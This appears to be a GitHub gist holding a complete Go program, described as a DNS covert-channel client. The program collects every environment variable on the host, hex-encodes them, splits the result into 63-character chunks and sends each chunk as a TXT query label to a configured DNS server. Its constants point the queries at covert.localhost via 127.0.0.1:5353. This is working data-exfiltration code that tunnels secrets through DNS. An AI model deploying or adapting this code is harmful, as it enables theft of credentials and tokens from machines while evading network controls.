Skip to content

Instantly share code, notes, and snippets.

@Xumeiquer
Last active November 18, 2018 23:01
Show Gist options
  • Save Xumeiquer/810481057f6bcd2c87a62e320073a966 to your computer and use it in GitHub Desktop.
Save Xumeiquer/810481057f6bcd2c87a62e320073a966 to your computer and use it in GitHub Desktop.
Simple DNS Client to perform covert channel
package main
import (
"encoding/hex"
"flag"
"fmt"
"log"
"os"
"strings"
"github.com/miekg/dns"
)
const (
dnsMaxLength = 63
covertChannel = "covert.localhost"
server = "127.0.0.1:5353"
)
var (
verbose = false
)
func init() {
flag.BoolVar(&verbose, "verbose", verbose, "Verbose")
flag.Parse()
}
func chunkSplit(body string, limit int) []string {
var charSlice []rune
for _, char := range body {
charSlice = append(charSlice, char)
}
var result []string
for len(charSlice) >= dnsMaxLength {
result = append(result, string(charSlice[:dnsMaxLength]))
charSlice = charSlice[dnsMaxLength:]
}
if len(charSlice) != 0 && len(charSlice) < (dnsMaxLength) {
result = append(result, string(charSlice[:len(charSlice)]))
}
return result
}
func sendPreamble() {
dnsClient := dns.Client{}
message := dns.Msg{}
target := fmt.Sprintf("init.env.%s", covertChannel)
message.SetQuestion(dns.Fqdn(target), dns.TypeTXT)
res, _, err := dnsClient.Exchange(&message, server)
if err != nil {
log.Fatal(err)
}
if verbose {
for _, ans := range res.Answer {
TXTRecord := ans.(*dns.TXT)
log.Printf("Preamble response: %s", TXTRecord.Txt)
}
}
}
func sendEpilogue() {
dnsClient := dns.Client{}
message := dns.Msg{}
target := fmt.Sprintf("done.env.%s", covertChannel)
message.SetQuestion(dns.Fqdn(target), dns.TypeTXT)
res, _, err := dnsClient.Exchange(&message, server)
if err != nil {
log.Fatal(err)
}
if verbose {
for _, ans := range res.Answer {
TXTRecord := ans.(*dns.TXT)
log.Printf("Epiloge response: %s", TXTRecord.Txt)
}
}
}
func sendData(payload string) string {
dnsClient := dns.Client{}
message := dns.Msg{}
target := fmt.Sprintf("%s.%s", payload, covertChannel)
message.SetQuestion(dns.Fqdn(target), dns.TypeTXT)
res, _, err := dnsClient.Exchange(&message, server)
if err != nil {
log.Fatal(err)
}
var responseData []string
for _, ans := range res.Answer {
TXTRecord := ans.(*dns.TXT)
responseData = append(responseData, TXTRecord.Txt...)
if verbose {
log.Printf("Server response: %s", TXTRecord.Txt)
}
}
return strings.Join(responseData, "")
}
func sendEnvVars() {
payload := strings.Join(os.Environ(), "\n")
data := hex.EncodeToString([]byte(payload))
chunks := chunkSplit(data, dnsMaxLength)
for _, chunk := range chunks {
sendData(chunk)
}
}
func main() {
sendPreamble()
sendEnvVars()
sendEpilogue()
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment